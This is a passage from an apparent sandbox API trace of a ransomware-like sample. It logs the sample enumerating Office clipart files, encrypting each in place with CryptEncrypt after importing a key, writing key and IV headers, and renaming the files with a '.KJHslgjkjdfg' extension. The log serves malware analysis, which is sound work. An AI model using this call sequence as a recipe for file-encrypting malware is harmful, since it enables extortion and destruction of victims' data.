dwFlags=0x0) returned 1 [0206.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.280] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x88c, lpOverlapped=0x0) returned 1 [0206.280] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x890, dwBufLen=0x890 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x890) returned 1 [0206.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.280] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x890, lpOverlapped=0x0) returned 1 [0206.280] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.280] SetEndOfFile (hFile=0x130) returned 1 [0206.283] GetProcessHeap () returned 0x990000 [0206.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.283] GetProcessHeap () returned 0x990000 [0206.283] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.kjhslgjkjdfg")) returned 1 [0206.284] CloseHandle (hObject=0x130) returned 1 [0206.284] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02446_.WMF", cAlternateFileName="")) returned 1 [0206.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.285] GetProcessHeap () returned 0x990000 [0206.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.285] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.285] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.288] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.288] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.288] GetProcessHeap () returned 0x990000 [0206.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.288] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.288] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.288] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.288] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.289] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.289] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.289] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.289] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa34, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa34, lpOverlapped=0x0) returned 1 [0206.289] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa40, dwBufLen=0xa40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa40) returned 1 [0206.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.289] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa40, lpOverlapped=0x0) returned 1 [0206.289] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.289] SetEndOfFile (hFile=0x130) returned 1 [0206.292] GetProcessHeap () returned 0x990000 [0206.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.292] GetProcessHeap () returned 0x990000 [0206.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.kjhslgjkjdfg")) returned 1 [0206.293] CloseHandle (hObject=0x130) returned 1 [0206.293] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02448_.WMF", cAlternateFileName="")) returned 1 [0206.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.295] GetProcessHeap () returned 0x990000 [0206.295] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.295] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.295] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.295] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.295] GetProcessHeap () returned 0x990000 [0206.295] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.295] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.295] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.295] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.298] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.298] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.298] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.298] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8a0, lpOverlapped=0x0) returned 1 [0206.298] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a0, dwBufLen=0x8a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8a0) returned 1 [0206.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.299] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8a0, lpOverlapped=0x0) returned 1 [0206.299] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.299] SetEndOfFile (hFile=0x130) returned 1 [0206.300] GetProcessHeap () returned 0x990000 [0206.300] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.300] GetProcessHeap () returned 0x990000 [0206.300] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.300] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.kjhslgjkjdfg")) returned 1 [0206.301] CloseHandle (hObject=0x130) returned 1 [0206.301] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02450_.WMF", cAlternateFileName="")) returned 1 [0206.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.302] GetProcessHeap () returned 0x990000 [0206.302] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.302] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.302] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.304] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.304] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.305] GetProcessHeap () returned 0x990000 [0206.305] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.305] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.305] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.305] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.305] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.305] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc28, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc28, lpOverlapped=0x0) returned 1 [0206.306] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc30, dwBufLen=0xc30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc30) returned 1 [0206.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.306] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc30, lpOverlapped=0x0) returned 1 [0206.306] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.306] SetEndOfFile (hFile=0x130) returned 1 [0206.308] GetProcessHeap () returned 0x990000 [0206.309] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.309] GetProcessHeap () returned 0x990000 [0206.309] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.kjhslgjkjdfg")) returned 1 [0206.310] CloseHandle (hObject=0x130) returned 1 [0206.310] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02451_.WMF", cAlternateFileName="")) returned 1 [0206.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.312] GetProcessHeap () returned 0x990000 [0206.312] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.312] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.312] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.312] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.312] GetProcessHeap () returned 0x990000 [0206.312] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.312] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.312] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.312] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.314] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.315] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.315] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.315] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.315] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.315] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.315] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd70, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd70, lpOverlapped=0x0) returned 1 [0206.315] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd70, dwBufLen=0xd70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd70) returned 1 [0206.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.315] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd70, lpOverlapped=0x0) returned 1 [0206.315] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.316] SetEndOfFile (hFile=0x130) returned 1 [0206.318] GetProcessHeap () returned 0x990000 [0206.318] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.318] GetProcessHeap () returned 0x990000 [0206.318] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.kjhslgjkjdfg")) returned 1 [0206.320] CloseHandle (hObject=0x130) returned 1 [0206.320] FindNextFileW (in: hFindFile=0x9b64e8, 